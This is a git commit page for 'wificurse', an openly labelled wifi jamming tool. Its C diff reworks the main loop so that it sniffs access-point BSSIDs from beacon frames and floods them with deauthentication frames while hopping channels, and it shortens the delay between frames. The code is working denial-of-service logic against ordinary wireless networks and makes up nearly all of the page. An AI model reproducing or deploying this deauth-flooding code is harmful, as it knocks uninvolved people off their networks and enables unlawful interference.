wificurse

wifi jamming tool
git clone git://git.2f30.org/wificurse.git
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commit 1f2c588d9d5f662b35ae65b0edd47c92881dba84
parent 95fa612acf5f827fd09b4242f7393c6cfde78355
Author: oblique <psyberbits@gmail.com>
Date:   Thu Mar  1 14:31:55 +0200

adds pollfd for dev.fd

Diffstat:
wificurse.c | 64+++++++++++++++++++++++++++++++++-------------------------------
1 file changed, 33 insertions(+), 31 deletions(-)
diff --git a/wificurse.c b/wificurse.c @@ -161,13 +161,10 @@ ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) struct radiotap_hdr *rt_hdr; int r; - // read packet, nonblocking mode - r = recv(fd, buf, count, MSG_DONTWAIT); - if (r < 0) { - if (errno == EAGAIN) // no packets to recieve - return -EAGAIN; + // read packet + r = recv(fd, buf, count, 0); + if (r < 0) return_error("recv"); - } rt_hdr = buf; if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r) @@ -221,7 +218,7 @@ int send_deauth(int fd, unsigned char *ap_mac) { free(deauth); return GOTERR; } - usleep(2000); + usleep(1000); } free(deauth); @@ -236,9 +233,7 @@ int read_bssid(int fd, uint8_t *bssid) { struct mgmt_frame *beacon; r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz); - if (r == -EAGAIN) - return -EAGAIN; - else if (r < 0) + if (r < 0) return GOTERR; beacon = (struct mgmt_frame*)pkt; @@ -265,7 +260,7 @@ int main(int argc, char *argv[]) { struct dev dev; uint8_t bssid[IFHWADDRLEN]; sigset_t exit_sig; - struct pollfd pfd; + struct pollfd pfd[2]; time_t tm1; int chan, ret, sigfd; @@ -296,9 +291,9 @@ int main(int argc, char *argv[]) { return EXIT_FAILURE; } - pfd.fd = sigfd; - pfd.revents = 0; - pfd.events = POLLIN; + pfd[0].fd = sigfd; + pfd[0].revents = 0; + pfd[0].events = POLLIN; init_dev(&dev); @@ -309,6 +304,10 @@ int main(int argc, char *argv[]) { goto _errout; } + pfd[1].fd = dev.fd; + pfd[1].revents = 0; + pfd[1].events = POLLIN; + tm1 = time(NULL); chan = 1; @@ -319,14 +318,32 @@ int main(int argc, char *argv[]) { printf("Channel: %d\n", dev.chan); while (1) { - if (poll(&pfd, 1, 0) < 0) { + if (poll(pfd, 2, 0) < 0) { err_msg("poll"); goto _errout; } - if (pfd.revents & POLLIN) // got SIGTERM or SIGINT + if (pfd[0].revents & POLLIN) // got SIGTERM or SIGINT break; + if (pfd[1].revents & POLLIN) { + ret = read_bssid(dev.fd, bssid); + if (ret == -EAGAIN) + continue; + if (ret < 0) { // error + print_error(); + goto _errout; + } else { // got BSSID + printf("DoS BSSID "); + print_mac(bssid); + printf("\n"); + if (send_deauth(dev.fd, bssid) < 0) { + print_error(); + goto _errout; + } + } + } + if (time(NULL) - tm1 >= 3) { // change channel every 3 seconds chan = (chan % 13) + 1; if (iw_set_channel(&dev, chan) < 0) { @@ -337,21 +354,6 @@ int main(int argc, char *argv[]) { tm1 = time(NULL); } - ret = read_bssid(dev.fd, bssid); - if (ret == -EAGAIN) - continue; - if (ret < 0) { // error - print_error(); - goto _errout; - } else { // got BSSID - printf("DoS BSSID "); - print_mac(bssid); - printf("\n"); - if (send_deauth(dev.fd, bssid) < 0) { - print_error(); - goto _errout; - } - } } printf("\nExiting..\n");